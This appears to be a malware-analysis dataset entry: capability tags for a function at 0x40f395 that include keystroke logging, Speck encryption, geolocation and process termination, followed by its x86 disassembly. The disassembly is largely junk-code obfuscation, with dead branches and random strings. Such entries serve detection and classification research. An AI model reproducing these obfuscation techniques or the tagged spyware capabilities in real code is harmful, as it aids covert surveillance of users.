Function at 0x40f395
Capabilities:
Check os version
Connect pipe
Encrypt data using speck
Get common file path
Get geographical location
Log keystrokes via polling
Query or enumerate registry key
Read .ini file
Terminate process

Disassembly:
mov eax, 0x4cd99f
call fcn.004cd440
push ecx
mov eax, 0x10a8
call fcn.004c9de0
push ebx
push esi
push edi
mov dword [ebp - 0x10], esp
mov byte [ebp - 0x74], dl
mov dword [ebp - 0x26c], ecx
mov dword [ebp - 0x14], 0
push 2
pop esi
push esi
lea ecx, [ebp - 0xa80]
call fcn.0040bdd2
xor eax, eax
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], esi
jge 0x40f3f3
mov ecx, dword [ebp - 0x14]
mov eax, dword [ebp - 0xa80]
mov dword [eax + ecx*4], 0x2afe
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], esi
jl 0x40f3d9
xor eax, eax
mov dword [ebp - 0x14], 0xfffffff7
mov dword [ebp - 0x14], eax
xor edi, edi
inc edi
jmp 0x40f417
mov byte [ebp - 0x49], al
cmp byte [ebp - 0x49], 0
je 0x40f414
push eax
call dword [sym.imp.USER32.dll_CharNextW]
xor eax, eax
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], edi
jle 0x40f402
lea ecx, [ebp - 0xa80]
call fcn.0040bea4
mov dword [ebp - 0x3c], 0x6847dfa8
mov byte [ebp - 0x49], 0
cmp byte [ebp - 0x49], 0
je 0x40f443
push 0x1509
call dword [sym.imp.USER32.dll_SetCapture]
mov byte [ebp - 0x49], 0
cmp byte [ebp - 0x49], 0
je 0x40f458
push 0x1b1e
call dword [sym.imp.USER32.dll_GetDlgCtrlID]
mov dword [ebp - 0x28], 0
push esi
lea ecx, [ebp - 0xac8]
call fcn.0040bdd2
mov dword [ebp - 0x14], edi
mov dword [ebp - 0x50], 0x3b9da4d0
mov dword [ebp - 0x30], 0xfff7
push 3
pop ebx
push ebx
lea ecx, [ebp - 0xa98]
call fcn.0040bdd2
mov dword [ebp - 0x28], 0xc62bb2c5
mov dword [ebp - 0x1c], 0
jmp 0x40f4ae
mov ecx, dword [ebp - 0x1c]
mov eax, dword [ebp - 0xa98]
mov dword [eax + ecx*4], 0x9d6b9c2d
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], ebx
jl 0x40f49b
mov dword [ebp - 0x1c], 0
jmp 0x40f4cd
mov eax, dword [ebp - 0x1c]
mov dword [ebp + eax*4 - 0x4a4], 0xfffffff6
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], esi
jl 0x40f4bc
mov eax, dword [ebp - 0x14]
mov dword [ebp - 0x50], eax
xor eax, eax
cmp dword [ebp - 0x30], eax
je 0x40f4ed
cmp dword [ebp - 0x50], eax
je 0x40f4e7
mov eax, dword [ebp - 0x14]
mov eax, dword [ebp - 0x30]
mov eax, dword [ebp - 0x14]
mov eax, dword [ebp - 0x14]
mov dword [ebp - 0x28], edi
mov ecx, dword [ebp - 0x28]
mov eax, dword [ebp - 0x30]
xor edx, edx
cmp ecx, eax
setg dl
mov dword [ebp - 0x4a4], edx
mov eax, dword [ebp - 0x28]
mov eax, dword [ebp - 0x14]
mov eax, dword [ebp - 0x28]
mov eax, dword [ebp - 0x50]
mov ecx, dword [ebp - 0x14]
neg ecx
sbb ecx, ecx
neg ecx
mov eax, dword [ebp - 0x4a0]
add eax, ecx
mov dword [ebp - 0x28], eax
lea ecx, [ebp - 0xa98]
call fcn.0040bea4
xor eax, eax
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], esi
jge 0x40f555
mov ecx, dword [ebp - 0x14]
mov eax, dword [ebp - 0xac8]
mov dword [eax + ecx*4], 0x2afe
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], esi
jl 0x40f53b
xor eax, eax
mov dword [ebp - 0x744], 0xfffffff9
mov dword [ebp - 0x740], 0xfffffff9
mov dword [ebp - 0x73c], 0xfffffff9
mov dword [ebp - 0x738], 0xfffffff9
mov dword [ebp - 0x2c], 0xfffffff9
mov dword [ebp - 0x3c], 0xffffffff
mov dword [ebp - 0x3c], 0xffff
mov dword [ebp - 0x3c], 0xfffffffb
mov dword [ebp - 0x3c], 0x627e80a7
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], esi
jge 0x40f5c0
mov eax, dword [ebp - 0x14]
mov dword [ebp + eax*4 - 0xd30], 5
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], esi
jl 0x40f5a8
xor eax, eax
mov dword [ebp - 0x738], 0x8bbca631
mov dword [ebp - 0x14], edi
mov dword [ebp - 0x14], eax
jmp 0x40f5d8
inc dword [ebp - 0x2c]
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], 9
jge 0x40f5d2
mov dword [ebp - 0x28], 0xfffffff7
mov dword [ebp - 0x58], 0x4290
cmp dword [ebp - 0x58], 0x433e
jle 0x40f661
mov dword [ebp - 0x44], eax
mov ecx, eax
mov dword [ebp - 0x30], ecx
mov dword [ebp - 0x2c], 0x2396
mov esi, eax
mov ebx, eax
mov edi, ecx
xor edi, esi
mov eax, edi
or eax, ebx
cdq
push edx
push eax
mov ecx, 0xaa47f8
call fcn.0040bbab
inc ebx
cmp ebx, 0x3a33
jl 0x40f60c
inc esi
cmp esi, 0x317a
push 0
pop eax
mov ecx, dword [ebp - 0x30]
jl 0x40f606
mov edi, dword [ebp - 0x44]
add ecx, edi
mov dword [ebp - 0x30], ecx
dec dword [ebp - 0x2c]
jne 0x40f604
inc edi
mov dword [ebp - 0x44], edi
cmp edi, 0x3b84
jl 0x40f5f8
push eax
push eax
call dword [sym.imp.KERNEL32.dll_ConnectNamedPipe]
xor eax, eax
xor edi, edi
inc edi
push 3
pop ebx
push 2
pop esi
mov dword [ebp - 4], eax
cmp dword [ebp - 0x58], 0x3fdd
jge 0x40f67c
mov edx, str.mbhey_jyh_ajugxbu_mly_dtuibxrj_eenocft_eygnarzgb_ruifd
mov ecx, 0xaa47f8
call fcn.0040e430
or dword [ebp - 4], 0xffffffff
xor eax, eax
jmp 0x40f6ad
mov dword [ebp - 0x1c], 0xac204e2d
mov dword [ebp - 0x54], 0xffffffff
mov dword [ebp - 0x3c], 0xfffffff9
mov dword [ebp - 0x60], 0xcf687292
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], edi
jge 0x40f6e9
mov eax, dword [ebp - 0x14]
mov dword [ebp + eax*4 - 0x118], 4
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], edi
jl 0x40f6d1
xor eax, eax
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], 0xfffffff3
jne 0x40f839
mov dword [ebp - 0x30], 0x3888
mov dword [ebp - 0x64], 0x2ef703c5
mov dword [ebp - 0x2c], 0x11fc80ae
mov dword [ebp - 0x3c], 0xe3f36a5b
push ebx
lea ecx, [ebp - 0x57c]
call fcn.0040bdd2
mov dword [ebp - 0x38], 0xbab1f356
mov dword [ebp - 0x20], 0
jmp 0x40f73f
mov eax, dword [ebp - 0x20]
mov dword [ebp + eax*4 - 0x2b4], 0xcadfb1af
inc dword [ebp - 0x20]
cmp dword [ebp - 0x20], esi
jl 0x40f72e
mov dword [ebp - 0x20], 0
cmp dword [ebp - 0x20], esi
jge 0x40f768
xor esi, esi
mov eax, dword [ebp - 0x20]
mov dword [ebp + eax*4 - 0x49c], esi
inc dword [ebp - 0x20]
cmp dword [ebp - 0x20], 2
jl 0x40f752
push 2
pop esi
mov dword [ebp - 0x20], 0
jmp 0x40f784
mov ecx, dword [ebp - 0x20]
mov eax, dword [ebp - 0x57c]
mov dword [eax + ecx*4], 0x2932384
inc dword [ebp - 0x20]
cmp dword [ebp - 0x20], ebx
jl 0x40f771
mov eax, dword [ebp - 0x1c]
inc dword [ebp - 0x49c]
mov eax, dword [ebp - 0x2b0]
mov eax, dword [ebp - 0x2b0]
mov eax, dword [ebp - 0x1c]
mov ecx, dword [ebp - 0x30]
mov eax, dword [ebp - 0x1c]
xor edx, edx
cmp eax, ecx
setg dl
sub edx, dword [ebp - 0x118]
je 0x40f7c0
cmp dword [ebp - 0x2c], 0
je 0x40f7c0
mov ecx, edi
jmp 0x40f7c2
xor ecx, ecx
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x30]
xor eax, eax
cmp ecx, ebx
setne al
imul eax, dword [ebp - 0x30]
mov dword [ebp - 0x118], eax
mov ecx, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x57c]
mov edx, dword [eax]
sub edx, ecx
mov eax, dword [ebp - 0x1c]
sub edx, eax
add edx, 0x4fb389fa
mov dword [ebp - 0x38], edx
je 0x40f80e
xor eax, eax
cmp dword [ebp - 0x54], eax
je 0x40f810
cmp dword [ebp - 0x60], eax
je 0x40f810
cmp dword [ebp - 0x2b0], eax
je 0x40f810
mov edx, edi
jmp 0x40f812
xor eax, eax
mov edx, eax
mov eax, dword [ebp - 0x64]
xor ecx, ecx
cmp edx, eax
sete cl
mov dword [ebp - 0x2c], ecx
lea ecx, [ebp - 0x57c]
call fcn.0040bea4
dec dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], 0xfffffff3
je 0x40f6f6
xor eax, eax
mov byte [ebp - 0x49], al
cmp byte [ebp - 0x49], 0
je 0x40f84b
push eax
call dword [sym.imp.USER32.dll_RegisterClassW]
xor eax, eax
mov dword [ebp - 0x28], eax
jmp 0x40faa5
mov dword [ebp - 0x50], 0x53b26bdd
push ebx
lea ecx, [ebp - 0xab0]
call fcn.0040bdd2
mov dword [ebp - 0x2c], 0xee28fdeb
mov dword [ebp - 0x14], 0
jmp 0x40f889
mov ecx, dword [ebp - 0x14]
mov eax, dword [ebp - 0xab0]
mov dword [eax + ecx*4], 0x6318d581
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], ebx
jl 0x40f876
mov dword [ebp - 0x50], 0
jmp 0x40f8df
mov dword [ebp - 0x3c], 0xed15
mov dword [ebp - 0x3c], 0x85b7f37c
mov dword [ebp - 0x14], 0
jmp 0x40f8bf
mov eax, dword [ebp - 0x14]
mov dword [ebp + eax*4 - 0xf50], 0x1b88146c
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], ebx
jl 0x40f8ae
dec dword [ebp - 0x2c]
mov byte [ebp - 0x49], 0
cmp byte [ebp - 0x49], 0
je 0x40f8dc
push 0x24d5
call dword [sym.imp.GDI32.dll_GetBkColor]
inc dword [ebp - 0x50]
cmp dword [ebp - 0x50], esi
jle 0x40f897
lea ecx, [ebp - 0xab0]
call fcn.0040bea4
mov byte [ebp - 0x49], 0
cmp byte [ebp - 0x49], 0
je 0x40faa2
mov dword [ebp - 0x14], 8
mov dword [ebp - 0x54], 0x5872
mov dword [ebp - 0x34], 0xdca27289
mov dword [ebp - 0x60], 0xfffffff6
push edi
lea ecx, [ebp - 0x444]
call fcn.0040bdd2
xor eax, eax
mov dword [ebp - 0x2c], eax
mov dword [ebp - 0x30], 0x15e0c0a1
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], edi
jge 0x40f94f
mov ecx, dword [ebp - 0x14]
mov eax, dword [ebp - 0x444]
mov dword [eax + ecx*4], edi
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], edi
jl 0x40f939
xor eax, eax
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], eax
jne 0x40fa77
mov dword [ebp - 0x38], 0xb34e
mov dword [ebp - 0x58], 0x6b8d9637
mov dword [ebp - 0x3c], eax
mov dword [ebp - 0x3c], 0xffffffff
mov dword [ebp - 0x3c], 0x3ccd2466
mov dword [ebp - 0x64], 0xd5493e6
mov dword [ebp - 0x3c], eax
mov dword [ebp - 0x3c], 0xa14c5530
mov dword [ebp - 0x44], edi
mov dword [ebp - 0x2c], edi
mov dword [ebp - 0x64], 4
mov dword [ebp - 0x3c], 0xfffffffb
mov dword [ebp - 0x5c], 0xc826ffea
mov dword [ebp - 0x50], eax
jmp 0x40f9bc
mov eax, dword [ebp - 0x50]
mov dword [ebp + eax*4 - 0x998], 0x3acb6d64
inc dword [ebp - 0x50]
cmp dword [ebp - 0x50], esi
jl 0x40f9ab
mov eax, dword [ebp - 0x38]
mov eax, dword [ebp - 0x54]
mov eax, dword [ebp - 0x34]
mov dword [ebp - 0x2c], eax
mov ecx, dword [ebp - 0x60]
neg ecx
sbb ecx, ecx
inc ecx
xor edx, edx
mov eax, dword [ebp - 0x444]
cmp ecx, dword [eax]
setne dl
mov eax, dword [ebp - 0x2c]
imul eax, edx
test eax, eax
je 0x40f9f9
cmp dword [ebp - 0x998], 0
je 0x40f9f9
mov edx, edi
jmp 0x40f9fb
xor edx, edx
mov eax, dword [ebp - 0x444]
mov dword [eax], edx
mov eax, dword [ebp - 0x44]
sub edx, eax
mov eax, dword [ebp - 0x14]
xor ecx, ecx
cmp edx, eax
setl cl
mov eax, dword [ebp - 0x30]
inc dword [ebp - 0x30]
cmp eax, ecx
jle 0x40fa20
mov ecx, edi
jmp 0x40fa22
xor ecx, ecx
mov eax, dword [ebp - 0x64]
imul eax, ecx
test eax, eax
jne 0x40fa33
cmp dword [ebp - 0x34], eax
mov edx, eax
je 0x40fa35
mov edx, edi
mov eax, dword [ebp - 0x58]
xor ecx, ecx
cmp edx, eax
setge cl
mov dword [ebp - 0x2c], ecx
imul ecx, dword [ebp - 0x2c], 0x37e1
mov eax, dword [ebp - 0x34]
xor edx, edx
cmp ecx, eax
setge dl
cmp edx, dword [ebp - 0x44]
jne 0x40fa61
xor eax, eax
cmp dword [ebp - 0x5c], eax
mov ecx, eax
je 0x40fa63
mov ecx, edi
mov eax, dword [ebp - 0x14]
sub eax, ecx
mov dword [ebp - 0x64], eax
inc dword [ebp - 0x14]
push 0
pop eax
je 0x40f95b
mov byte [ebp - 0x49], al
cmp byte [ebp - 0x49], 0
je 0x40fa8b
push 0x84e
call dword [sym.imp.KERNEL32.dll_IsValidCodePage]
lea ecx, [ebp - 0x444]
call fcn.0040bea4
xor esi, esi
push esi
call dword [sym.imp.USER32.dll_CharNextW]
push 2
pop esi
inc dword [ebp - 0x28]
cmp dword [ebp - 0x28], edi
jle 0x40f853
lea ecx, [ebp - 0xac8]
call fcn.0040bea4
mov dword [ebp - 0x1c], edi
mov dword [ebp - 0x2c], 0xfffffff7
mov dword [ebp - 0x2c], 0x5fe46c2e
mov dword [ebp - 0x28], 9
mov dword [ebp - 0x38], 0xf9a0
mov dword [ebp - 0x14], 0x9da9
mov dword [ebp - 0x2c], 0xbbfad0d7
mov dword [ebp - 0x54], 0x800f
mov eax, dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], 0
jne 0x40fb19
mov edx, dword [ebp - 0x1c]
sub edx, dword [ebp - 0x1c]
neg edx
sbb edx, edx
add edx, 7
mov eax, dword [ebp - 0x1c]
xor ecx, ecx
cmp edx, eax
setne cl
mov dword [ebp - 0x28], ecx
xor eax, eax
cmp dword [ebp - 0x28], eax
mov ecx, eax
je 0x40fb1b
mov ecx, edi
xor eax, eax
cmp ecx, 0x7a5e
setge al
cmp eax, dword [ebp - 0x1c]
jle 0x40fb2e
mov eax, dword [ebp - 0x28]
mov dword [ebp - 0x2c], 5
mov eax, dword [ebp - 0x2c]
mov dword [ebp - 0x2c], eax
mov ecx, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x1c]
xor edx, edx
cmp ecx, eax
setg dl
imul edx, dword [ebp - 0x2c]
mov eax, dword [ebp - 0x1c]
xor ecx, ecx
cmp edx, eax
setge cl
imul eax, ecx, 3
or ebx, 0xffffffff
cmp eax, ebx
sbb ecx, ecx
neg ecx
mov eax, dword [ebp - 0x1c]
xor edx, edx
cmp ecx, eax
setne dl
imul edx, dword [ebp - 0x38]
cmp edx, dword [ebp - 0x14]
je 0x40fb7f
cmp dword [ebp - 0x14], 0
je 0x40fb7f
mov ecx, edi
jmp 0x40fb81
xor ecx, ecx
mov eax, dword [ebp - 0x14]
xor edx, edx
cmp ecx, eax
setl dl
mov eax, dword [ebp - 0x1c]
xor ecx, ecx
cmp eax, edx
setne cl
imul ecx, dword [ebp - 0x14]
mov dword [ebp - 0x2c], ecx
mov eax, dword [ebp - 0x2c]
mov eax, dword [ebp - 0x54]
neg eax
sbb eax, eax
inc eax
sub eax, dword [ebp - 0x14]
neg eax
sbb eax, eax
inc eax
mov dword [ebp - 0x28], eax
mov dword [ebp - 0x40], 0xb064
push 4
lea ecx, [ebp - 0x618]
call fcn.0040bdd2
mov dword [ebp - 0x2c], edi
mov dword [ebp - 0x44], 7
push esi
lea ecx, [ebp - 0x510]
call fcn.0040bdd2
mov dword [ebp - 0x14], 0x440271db
xor eax, eax
mov dword [ebp - 0x14], eax
mov dword [ebp - 0x38], 0xfffffff9
mov dword [ebp - 0x38], ebx
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], 4
jge 0x40fc16
mov ecx, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x618]
mov dword [eax + ecx*4], 0x7c10
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], 4
jl 0x40fbfb
xor eax, eax
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], esi
jge 0x40fc38
mov ecx, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x510]
mov dword [eax + ecx*4], 0xfffffffd
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], esi
jl 0x40fc1e
xor eax, eax
cmp dword [ebp - 0x40], eax
mov ecx, eax
je 0x40fc41
mov ecx, edi
mov eax, dword [ebp - 0x40]
mov eax, dword [ebp - 0x618]
mov dword [eax + 4], ecx
mov eax, dword [ebp - 0x40]
mov eax, dword [ebp - 0x40]
mov eax, dword [ebp - 0x40]
mov ecx, 0x90a624cd
cmp ecx, eax
sbb ecx, ecx
inc ecx
mov eax, dword [ebp - 0x40]
xor ebx, ebx
cmp eax, ecx
setle bl
mov edx, dword [ebp - 0x2c]
imul edx, dword [ebp - 0x40]
mov eax, dword [ebp - 0x2c]
xor ecx, ecx
cmp edx, eax
setne cl
cmp ebx, ecx
jge 0x40fcdd
mov dword [ebp - 0x30], 0xfffffffb
mov dword [ebp - 0x38], 0xb379
mov edx, dword [ebp - 0x510]
inc dword [edx + 4]
cmp dword [ebp - 0x30], 0
jne 0x40fcc9
mov dword [ebp - 0x14], edi
mov eax, dword [ebp - 0x14]
mov eax, dword [ebp - 0x38]
mov dword [ebp - 0x44], eax
mov eax, dword [ebp - 0x30]
mov ecx, dword [ebp - 0x44]
sub ecx, eax
neg ecx
sbb ecx, ecx
inc ecx
mov dword [ebp - 0x14], ecx
mov eax, dword [ebp - 0x14]
add eax, 0x33b8
cmp eax, dword [edx + 4]
je 0x40fcc9
xor edx, edx
jmp 0x40fccb
mov edx, edi
mov eax, dword [ebp - 0x30]
xor ecx, ecx
cmp edx, eax
sete cl
mov dword [ebp - 0x38], ecx
jmp 0x40fe1f
mov dword [ebp - 0x44], 0x6a75
mov dword [ebp - 0x2c], 0x4977
cmp dword [ebp - 0x2c], 0x4aed
jle 0x40fd21
xor edi, edi
xor esi, esi
mov eax, esi
or eax, edi
cdq
push edx
push eax
mov ecx, 0xaa47f8
call fcn.0040bbab
inc esi
cmp esi, 0x3e05
jl 0x40fcf8
inc edi
cmp edi, 0x592
jl 0x40fcf6
xor edi, edi
inc edi
push 2
pop esi
movdqa xmm0, xmmword [0xa98e00]
movdqu xmmword [ebp - 0xb10], xmm0
lea ecx, [ebp - 0xb10]
lea eax, [ebp - 0xb00]
push ecx
push eax
push ecx
lea ecx, [ebp - 0xae0]
call fcn.0040be7e
mov dword [ebp - 4], esi
cmp dword [ebp - 0x2c], 0x47b8
jge 0x40fd66
mov edx, str.bqij_uorzs_mzvetno_yqu_xxhmto_bymepvr_jlrewj_tcvv_uaiozbrxx_tytswo_ogmo
mov ecx, 0xaa47f8
call fcn.0040e430
or dword [ebp - 4], 0xffffffff
xor eax, eax
jmp 0x40fd91
mov dword [ebp - 0x40], 8
cmp dword [ebp - 0x40], 0xe
je 0x40fdf2
mov esi, dword [ebp - 0xae0]
mov dword [ebp - 0x30], eax
cmp dword [ebp - 0x44], eax
mov ecx, eax
je 0x40fdb0
mov ecx, edi
mov dword [esi + 4], ecx
mov eax, dword [ebp - 0x38]
mov dword [ebp - 0x14], eax
mov eax, dword [ebp - 0x14]
xor edx, edx
cmp ecx, eax
setl dl
sub edx, dword [ebp - 0x30]
neg edx
sbb edx, edx
inc edx
sub edx, dword [ebp - 0x30]
mov eax, dword [ebp - 0x30]
xor ecx, ecx
cmp edx, eax
setl cl
mov eax, dword [ebp - 0x40]
xor edx, edx
cmp edx, eax
sbb eax, eax
inc eax
sub eax, ecx
mov dword [ebp - 0x14], eax
inc dword [ebp - 0x40]
cmp dword [ebp - 0x40], 0xe
push edx
pop eax
jne 0x40fda4
mov byte [ebp - 0x49], 0
cmp byte [ebp - 0x49], 0
je 0x40fe11
push 0x2173
push 0x19c5
push 0x1345
call dword [sym.imp.KERNEL32.dll_MulDiv]
lea ecx, [ebp - 0xae0]
call fcn.0040bea4
push 2
pop esi
lea ecx, [ebp - 0x510]
call fcn.0040bea4
lea ecx, [ebp - 0x618]
call fcn.0040bea4
push esi
lea ecx, [ebp - 0x3b4]
call fcn.0040bdd2
mov dword [ebp - 0x50], 0xd0714ad3
push edi
lea ecx, [ebp - 0x178]
call fcn.0040bdd2
mov dword [ebp - 0x14], 0x6febfb2c
xor eax, eax
mov dword [ebp - 0x28], eax
mov dword [ebp - 0x2c], edi
mov dword [ebp - 0x44], 0x7ec53a21
mov dword [ebp - 0x38], 0x8fbdedb
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], esi
jge 0x40fe93
mov ecx, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x3b4]
mov dword [eax + ecx*4], 4
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], esi
jl 0x40fe79
xor eax, eax
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], edi
jge 0x40feb1
xor esi, esi
mov ecx, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x178]
mov dword [eax + ecx*4], esi
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], edi
jl 0x40fe9d
dec dword [ebp - 0x14]
mov ecx, dword [ebp - 0x14]
neg ecx
mov eax, dword [ebp - 0x178]
mov esi, dword [ebp - 0x3b4]
cmp ecx, dword [eax]
jg 0x40fed3
cmp dword [esi + 4], 0
je 0x40fed3
mov edx, edi
jmp 0x40fed5
xor edx, edx
mov eax, dword [ebp - 0x28]
xor ecx, ecx
cmp edx, eax
setg cl
xor edx, edx
cmp dword [esi + 4], ecx
setne dl
add edx, 0x6a3367f5
xor ecx, ecx
mov eax, dword [ebp - 0x178]
cmp edx, dword [eax]
setl cl
cmp ecx, 0xfffffffb
jb 0x40ff02
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x28]
sub ecx, dword [ebp - 0x50]
mov eax, dword [ebp - 0x28]
add ecx, eax
mov eax, dword [ebp - 0x178]
mov dword [eax], ecx
mov dword [ebp - 0x50], ecx
je 0x40ff57
mov ecx, dword [ebp - 0x14]
mov eax, dword [ebp - 0x178]
mov dword [eax], ecx
mov eax, dword [ebp - 0x2c]
xor ecx, ecx
cmp eax, 0xb665
setg cl
or edx, 0xffffffff
sub edx, ecx
mov eax, dword [ebp - 0x14]
xor ecx, ecx
cmp edx, eax
setg cl
imul ecx, ecx, 0x4d2c
mov eax, dword [ebp - 0x2c]
xor edx, edx
cmp eax, ecx
setl dl
mov dword [ebp - 0x50], edx
mov eax, dword [ebp - 0x14]
mov eax, dword [ebp - 0x28]
mov eax, dword [esi + 4]
mov dword [ebp - 0x44], eax
mov eax, dword [ebp - 0x44]
mov dword [ebp - 0x38], eax
lea ecx, [ebp - 0x178]
call fcn.0040bea4
lea ecx, [ebp - 0x3b4]
call fcn.0040bea4
mov dword [ebp - 0x58], 0x3dcb
cmp dword [ebp - 0x58], 0x3ea8
jle 0x40ffd4
xor edi, edi
xor ebx, ebx
xor esi, esi
mov eax, ebx
or eax, edi
cdq
push edx
push eax
lea ecx, [ebp - 0xe9c]
call fcn.004019d8
pop ecx
pop ecx
mov ecx, eax
call fcn.0040bba0
push eax
call fcn.004b7f67
pop ecx
push esi
push 1
lea ecx, [ebp - 0xe9c]
call fcn.0040c380
inc ebx
cmp ebx, 0x3288
jl 0x40ff92
inc edi
cmp edi, 0x1ff7
jl 0x40ff8e
mov dword [ebp - 0x44], 0x1cf9
cmp dword [ebp - 0x44], 0x1f6c
jle 0x410025
xor edi, edi
xor ebx, ebx
mov dword [ebp - 0x2c], 0x7c43
xor esi, esi
mov eax, ebx
and eax, esi
cdq
push edx
push eax
mov ecx, 0xaa47f8
call fcn.0040bbab
inc esi
cmp esi, 0x44c2
jl 0x40fff1
add ebx, edi
dec dword [ebp - 0x2c]
jne 0x40ffef
inc edi
cmp edi, 0x8f4
jl 0x40ffe6
xor eax, eax
push eax
push eax
call dword [sym.imp.KERNEL32.dll_FindNextFileA]
mov dword [ebp - 4], 4
cmp dword [ebp - 0x44], 0x1cc9
jge 0x410044
mov edx, str.alxfa_hutqtujpr_gjiqqc_waypfznu_wcw
mov ecx, 0xaa47f8
call fcn.0040e430
or dword [ebp - 4], 0xffffffff
push 3
xor ebx, ebx
mov edi, 0x90a624cd
pop esi
inc ebx
push 4
lea ecx, [ebp - 0x528]
call fcn.0040bdd2
mov dword [ebp - 0x14], 0x2a43d953
mov dword [ebp - 0x14], 0
jmp 0x41009d
mov ecx, dword [ebp - 0x14]
mov eax, dword [ebp - 0x528]
mov dword [eax + ecx*4], 0xe83c773
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], 4
jl 0x41008a
mov eax, dword [ebp - 0x528]
mov eax, dword [eax + 0xc]
mov dword [ebp - 0x14], eax
mov dword [ebp - 0x14], esi
xor eax, eax
cmp dword [ebp - 0x14], eax
jl 0x4100f4
mov byte [ebp - 0x49], al
cmp byte [ebp - 0x49], 0
je 0x4100d1
push eax
push eax
push 0x817
call dword [sym.imp.GDI32.dll_PlayEnhMetaFile]
xor eax, eax
mov byte [ebp - 0x49], al
cmp byte [ebp - 0x49], 0
je 0x4100ef
push 0xfc0
push 0x253a
push eax
push eax
push eax
call dword [sym.imp.SHELL32.dll_SHGetFileInfoW]
xor eax, eax
dec dword [ebp - 0x14]
jns 0x4100b9
lea ecx, [ebp - 0x528]
call fcn.0040bea4
mov dword [ebp - 4], 6
cmp dword [ebp - 0x58], 0x3bc5
jge 0x41011a
push str.ybh_spryl_ksxpbfzn_voyugdytn_dhyqqi_sesxrpbz
call fcn.004b7f67
pop ecx
or dword [ebp - 4], 0xffffffff
xor eax, eax
jmp 0x41014d
mov dword [ebp - 0x14], eax
movdqa xmm0, xmmword [0xa98d90]
movdqu xmmword [ebp - 0xc10], xmm0
lea ecx, [ebp - 0xc10]
lea eax, [ebp - 0xc00]
push ecx
push eax
push ecx
lea ecx, [ebp - 0xd04]
call fcn.0040be7e
mov dword [ebp - 0x3c], 0xfe01bd97
push ebx
lea ecx, [ebp - 0x990]
call fcn.0040bdd2
mov dword [ebp - 0x1c], 0
jmp 0x4101a9
mov ecx, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x990]
mov dword [eax + ecx*4], 0xae8c9f36
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], ebx
jl 0x410196
mov dword [ebp - 0x1c], 0
jmp 0x4101c8
mov eax, dword [ebp - 0x1c]
mov dword [ebp + eax*4 - 0x4ac], 0xfffffffe
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], 2
jl 0x4101b7
dec dword [ebp - 0x4ac]
lea ecx, [ebp - 0x990]
call fcn.0040bea4
lea ecx, [ebp - 0xd04]
call fcn.0040bea4
mov dword [ebp - 0x14], 0x8901f2c
push ebx
lea ecx, [ebp - 0x984]
call fcn.0040bdd2
xor eax, eax
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], esi
jge 0x41021f
mov eax, dword [ebp - 0x1c]
mov dword [ebp + eax*4 - 0xcec], 0x6af1
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], esi
jl 0x410207
xor eax, eax
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], ebx
jge 0x410241
mov ecx, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x984]
mov dword [eax + ecx*4], 0x5c19c5a6
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], ebx
jl 0x410227
xor eax, eax
mov byte [ebp - 0x49], al
cmp byte [ebp - 0x49], 0
je 0x410262
push eax
push 0xe3c
push 0x783
push 0xecd
call dword [sym.imp.GDI32.dll_GetCharABCWidthsW]
xor eax, eax
mov dword [ebp - 0x14], eax
jmp 0x410278
mov eax, dword [ebp - 0x14]
mov dword [ebp + eax*4 - 0xcec], 0xa3df
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], esi
jl 0x410267
lea ecx, [ebp - 0x984]
call fcn.0040bea4
push 2
lea ecx, [ebp - 0x810]
call fcn.0040bdd2
mov dword [ebp - 0x14], ebx
push esi
lea ecx, [ebp - 0x3cc]
call fcn.0040bdd2
mov dword [ebp - 0x38], ebx
xor eax, eax
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], esi
jge 0x4102cb
mov ecx, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x3cc]
mov dword [eax + ecx*4], 0xae4b9a73
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], esi
jl 0x4102b1
xor eax, eax
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], ebx
jge 0x4102eb
mov eax, dword [ebp - 0x1c]
mov dword [ebp + eax*4 - 0xa8], 0xfffffffc
inc dword [ebp - 0x1c]
